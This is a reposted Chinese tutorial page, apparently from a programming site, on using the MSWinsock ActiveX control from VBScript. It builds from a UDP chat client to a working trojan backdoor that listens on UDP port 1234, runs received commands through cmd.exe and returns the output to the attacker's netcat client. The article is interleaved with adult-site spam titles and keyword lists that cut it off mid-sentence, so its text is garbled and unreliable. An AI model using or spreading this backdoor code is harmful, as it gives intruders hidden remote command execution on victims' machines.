亚洲香蕉成人av网站在线观看_欧美精品成人91久久久久久久_久久久久久久久久久亚洲_热久久视久久精品18亚洲精品_国产精自产拍久久久久久_亚洲色图国产精品_91精品国产网站_中文字幕欧美日韩精品_国产精品久久久久久亚洲调教_国产精品久久一区_性夜试看影院91社区_97在线观看视频国产_68精品久久久久久欧美_欧美精品在线观看_国产精品一区二区久久精品_欧美老女人bb

首頁 > 編程 > VBScript > 正文

VBS+MSWinsock打造靈巧UDP后門的相關資料

2020-07-26 12:05:45
字體:
來源:轉載
供稿:網友
大概在一年前,VBS腳本病毒又揭起一陣熱潮,一大群VBS病毒在互聯網上盛行。那時的VBS病毒幾乎都是用FSO、MAPI作為一個病毒傳染引擎,所以我就想,VBS可否訪問網絡呢?如果它也能進行端口的連接,那就神奇了。從此之后,我就努力去找有關VBS的網絡類的資料,可惜找了好久,什么收獲也沒有,直到一個月前高考結束了,我才可以靜下來搞這個東西,并終于有了一點進展。
現在分析一下VBS的運作原理吧。VBS的全稱是“Visual Basic Scripts”,由于VBS是由Visual Basic分離出來的一種面向對象的腳本語言,所以它的語法與Visual Basic差不多,而且也是靠Object來實現它的其它高級功能。只不過是VBS是用Wscript.exe或Cscript.exe來解釋的,因此它不需要編譯,直接運行就行了,所以這也是VBS腳本做黑客工具方面的特長之一:普通殺毒軟件不會對VBS感興趣。因為VBS是一種面向對象的腳本語言,所以微軟的很多ActiveX組件都可以通過“CreateObject(“ObjectName”)”來創建引用,這可能是微軟公司的程序接口吧!也許用過VB編寫網絡程序的朋友也知道,用VB寫網絡程序大致有兩種:一是調用Windows的API函數,二是用VB自帶的Winsock控件,也就是在Windows系統目錄中見到的“MSWinsock.ocx”。由于前者的API函數比較復雜,很多朋友比較喜歡用VB自帶的Winsock控件,不知道大家有沒有留意到那個Winsock控件,其實它就是我前面講的ActiveX組件,它提供了訪問TCP和UDP網絡服務的方便途徑,為編寫客戶或服務器應用程序,不必了解TCP的細節或調用低級的Winsock APIs。通過設置控件的屬性并調用其方法就可輕易連接到一臺遠程機器上去,并且還可雙向交換數據。既然找到了訪問網絡的引擎,那如何來用呢?用法又是不和VB中那樣用呢?
Winsock控件用法大體上是同VB上的一樣,但在VBS中,ActiveX控件并不是像VB中那樣是可以見到的,要在VBS上引用它當然是先創建它的對象。創建方法就像創建FSO等對像。新建一個文本文件,在里面寫入:
--------------------------------------------------
Set Sock=CreateObject("MSWinsock.Winsock")
Sock.AboutBox
--------------------------------------------------
保存為*.vbs運行它,就可以看到注冊在你系統中的WinSock控件的有關信息。
怎能么樣?開心吧,別急,我下面會詳細講講。既然對象創建成功了,當然是要像VB中那樣用它了。在VBS中創建的WinScok不能像VB中那樣圖形介面那樣設置參數就行,是應該一步一個腳印來設置好你所創的是什么協議。在WinSock控件中要設置的協議是通過“Protocol”來設定的,如sock.Protocol=0 或 sock.Protocol=1。注意當“Protocol”的值為“0”時,所創建的協議是TCP;值為“1”時,則創建的是UDP。
我先介紹一下有關WinSock控件引用的基本方法和事件吧:
LocalHostName //取得本地主機名
LocalIP //取得本地主機IP
SocketHandle //取得創建SOCK的句柄
RemotePort //設置或取得遠程端口
LocalPort //設置或取得本地端口
State //返回創建sock的對像狀態(代嗎如下){
0 缺省的。關閉 
1 打開 
2 偵聽 
3 連接掛起 
4 識別主機 
5 已識別主機 
6 正在連接 
7 已連接 
8 同級人員正在關閉連接 
9 錯誤 }
BytesReceived //返回接收到的(當前在接收端緩沖區內的)數據的數量
Connect(RemoteHost,RemotePort) //建立遠程連接,RemoteHost遠程主機IP,RemotePort遠程主機端口
Listen //使SOCK偵聽
SendData/GetData //發送或接收數據
Close //關閉對像
Bind(LocalPort, LocalIP)//綁定本地端口。
那些基本的東西我講完了,下面我測試一下遠程主機會話吧(UDP),下面是一個VBS文件,大家可以試試,代碼如下(文件sock-udp.vbs):
----------------------------------------
dim revdata
dim sendata
//創建Winsock對像
set sock=createobject("MSWinsock.Winsock") 
//使用UDP協議
//建立連接
sock.Protocol=1sock.Connect "127.0.0.1",1234
//定義要發送的數據
sendata="Hello!!!"&chr(13) 
//發送我們要發的數據
sock.senddata sendata 
do
//如果有數據回應就顯示它
if sock.BytesReceived>0 then 
//定義接收數據類型(數據類型有vbByte、vbInteger、vbLong、vbSingle
//vbDouble、vbCurrency、vbDate、vbBoolean、vbError、vbString、vbArray+vbByte)
//也只有定義好要接收的數據類型才能收到數據,不然會收到的是一堆亂碼;
sock.getdata revdata,vbString;
sendata=inputbox (revdata,"RecviedData","請輸入你要發的信息")
sock.senddata senddata & chr(13)
//當收到含有"exit"字串時結束VBS進程
if instr(revdata,"exit") then exit do
else
end if
loop
//關閉對像套接
sock.close
------------------------------------------
然后用“nc -u -l -p 1234”監聽本地UDP端口1234,再運行剛編寫的VBS文件,看!我的NC有反應了。
里面的“MicroSoft (r) Windows Based Script Host”就是我們的VBS主進程了。在NC里我們還可以發信息、聊天,怎么樣?一個簡單的UDP C/S已經完成了。下面我再寫一個關于它的利用吧,既然它能訪問網絡,當然是用它的做個VBS木馬啦!老編們不會反對吧!哈哈,Let's Go!
--------------------------
Dim revdata
set sock=createobject("MSWinsock.Winsock")
set sc=createobject("WScript.Shell")
Set fso =CreateObject("Scripting.FileSystemObject")

sock.Protocol=1 //這個當然是UDP協議的標識啦
sock.bind 1234 //綁定本地的UDP端口

Do
if sock.BytesReceived>0 then
sock.getdata revdata,vbString
if instr(revdata,"exit")>0 then
exit do
else
on error resume next
tempfile="C:/" & fso.GetTempName
'cmd=right(revdata,len(revdata)-4)
cmd=left(revdata,len(revdata)-3)
//利用綁定cmd的輸出
call sc.Run ("cmd.exe /c " & cmd & " > " & tempfile,0,True)
Set txf = fso.OpenTextFile(tempfile,1,false,0)
//把輸出的文件讀入內存,用SendData發送到客戶端
sock.senddata txf.readall & vbcrlf & vbcrlf
txf.close
call fso.DeleteFile(TempFile,True)
end if
//嘻嘻,下面是我的版權喔
sock.senddata "--End--" & vbcrlf & "ForHelp exit:end|run:<RunFileName>" & vbcrlf & "Maked by Attrib Data:2004.7.28" & vbcrlf & vbcrlf
end if
Loop
sock.senddata "連接已關閉!" & vbcrlf
sock.close
sock=nothings
-------------------
到此,代碼的基本架構已經完成了,要想做一個全能的木馬可以在代碼里加上諸如開機自動運行等。由于VBS程序沒有設置出錯保護,可能一些錯誤的操作會出現程蹦潰,有興趣的朋友可以自己試試。用法是先把這個VBS后門運行在服務端,之后就用你的NC連,因為用的是UDP協議,NC的命令行是“NC 亚洲香蕉成人av网站在线观看_欧美精品成人91久久久久久久_久久久久久久久久久亚洲_热久久视久久精品18亚洲精品_国产精自产拍久久久久久_亚洲色图国产精品_91精品国产网站_中文字幕欧美日韩精品_国产精品久久久久久亚洲调教_国产精品久久一区_性夜试看影院91社区_97在线观看视频国产_68精品久久久久久欧美_欧美精品在线观看_国产精品一区二区久久精品_欧美老女人bb
国产精品十八以下禁看| 情事1991在线| 国产精品美乳一区二区免费| 国产亚洲精品美女久久久久| 日韩av成人在线| 懂色av中文一区二区三区天美| 精品久久久免费| 国产精品久久一区主播| 久久成年人视频| 91中文字幕在线| 国语自产精品视频在线看抢先版图片| 亚洲国产成人精品久久久国产成人一区| 亚洲精品女av网站| 亚洲欧洲偷拍精品| 黑人巨大精品欧美一区二区一视频| 欧美午夜女人视频在线| 不卡在线观看电视剧完整版| 日韩中文字幕免费看| 国产精品久久久久99| 亚洲欧洲第一视频| 亚洲娇小xxxx欧美娇小| 国产精品久久一区主播| 日本亚洲欧美三级| 亚洲国产一区自拍| 2018中文字幕一区二区三区| 亚洲va男人天堂| 欧美最猛性xxxxx亚洲精品| 欧美日韩另类字幕中文| 久久天堂av综合合色| 欧美电影在线观看高清| 国产精品久久久久久久久久免费| 国产成人精品在线观看| 国产男人精品视频| 久久免费视频在线| 日韩美女视频免费看| 亚洲综合视频1区| 国产精品视频资源| 精品中文字幕乱| 国内揄拍国内精品| 黄色一区二区在线| 欧美视频在线免费| 国产精品一区二区av影院萌芽| 欧美成人第一页| 欧美精品第一页在线播放| 亚洲少妇中文在线| 欧美激情网站在线观看| 啪一啪鲁一鲁2019在线视频| 精品久久久一区| 欧美成人在线免费| 国产精品99蜜臀久久不卡二区| 欧美日韩成人在线播放| 亚洲伊人一本大道中文字幕| 欧美电影《睫毛膏》| 久久久久久中文字幕| 国产精品成人av性教育| 国产精品99久久久久久人| 亚洲欧美一区二区三区在线| 亚洲综合精品一区二区| 色综合久综合久久综合久鬼88| 亚洲欧美中文在线视频| 亚洲午夜久久久久久久| 亚洲石原莉奈一区二区在线观看| 久久久久久有精品国产| 成人精品一区二区三区电影黑人| 91日本在线视频| 亚洲午夜性刺激影院| 欧洲美女免费图片一区| 国产精品女主播| 欧美亚洲在线播放| 国产suv精品一区二区三区88区| 亚洲精品短视频| 成人a在线观看| 亚洲偷熟乱区亚洲香蕉av| 欧美成在线视频| 91视频免费在线| 国产不卡一区二区在线播放| 青青草原成人在线视频| 亚洲亚裔videos黑人hd| 国产精品福利小视频| 在线播放国产一区中文字幕剧情欧美| www.久久久久| 国产欧美久久久久久| 日韩欧美在线观看| 91av在线播放| www.亚洲人.com| 国产91|九色| 狠狠色噜噜狠狠狠狠97| 欧美日韩国产专区| 久久69精品久久久久久久电影好| 国外色69视频在线观看| 91在线观看免费观看| 日韩亚洲综合在线| 亚洲视频电影图片偷拍一区| 亚洲女人天堂成人av在线| 日韩最新中文字幕电影免费看| 亚洲风情亚aⅴ在线发布| 性欧美激情精品| 成人免费网站在线观看| 欧美风情在线观看| 欧美精品成人在线| 亚洲天堂男人天堂女人天堂| 成人有码视频在线播放| 亚洲xxxx妇黄裸体| 日韩欧美在线第一页| 狠狠躁18三区二区一区| 中文字幕精品久久| 日韩av网址在线观看| 国产视频精品久久久| 亚洲精品电影在线观看| 欧美日韩成人在线播放| 亚洲激情免费观看| 社区色欧美激情 | 国产一区玩具在线观看| 国产在线精品一区免费香蕉| 一区二区三区无码高清视频| 成人欧美在线观看| 亚洲美女av网站| 国产精品av电影| 国产精品自拍偷拍| 91av在线视频观看| 国产精品亚洲视频在线观看| 色婷婷av一区二区三区久久| 久久久久久久久久久av| 日韩精品免费看| 日韩欧美福利视频| 综合网日日天干夜夜久久| 亚洲a级在线播放观看| 国产精品香蕉av| 亚洲人成电影在线观看天堂色| www.xxxx精品| 国产日韩综合一区二区性色av| 中文字幕亚洲精品| 清纯唯美亚洲综合| 久久久女人电视剧免费播放下载| 日本精品在线视频| 日韩欧美亚洲综合| 国产日韩欧美日韩| 欧美日韩国产精品一区二区三区四区| 久久精品色欧美aⅴ一区二区| 欧美日韩福利视频| 久久久久久一区二区三区| 成人综合国产精品| 欧美激情网友自拍| 最近2019年日本中文免费字幕| 国产区精品在线观看| 国产一区在线播放| 亚洲高清一区二| 懂色av中文一区二区三区天美| 国产日本欧美视频| 国产精品久久久久久久9999| 91九色国产在线| 欧美色另类天堂2015| 海角国产乱辈乱精品视频| 亚洲国产黄色片| 国产精品嫩草视频| 97国产精品视频人人做人人爱| 性金发美女69hd大尺寸| 欧美激情一区二区三区在线视频观看| 成人黄色短视频在线观看| 亚洲第一男人av| 日韩性生活视频| 91精品国产91久久久久久久久| 欧美另类69精品久久久久9999| 中文字幕综合一区|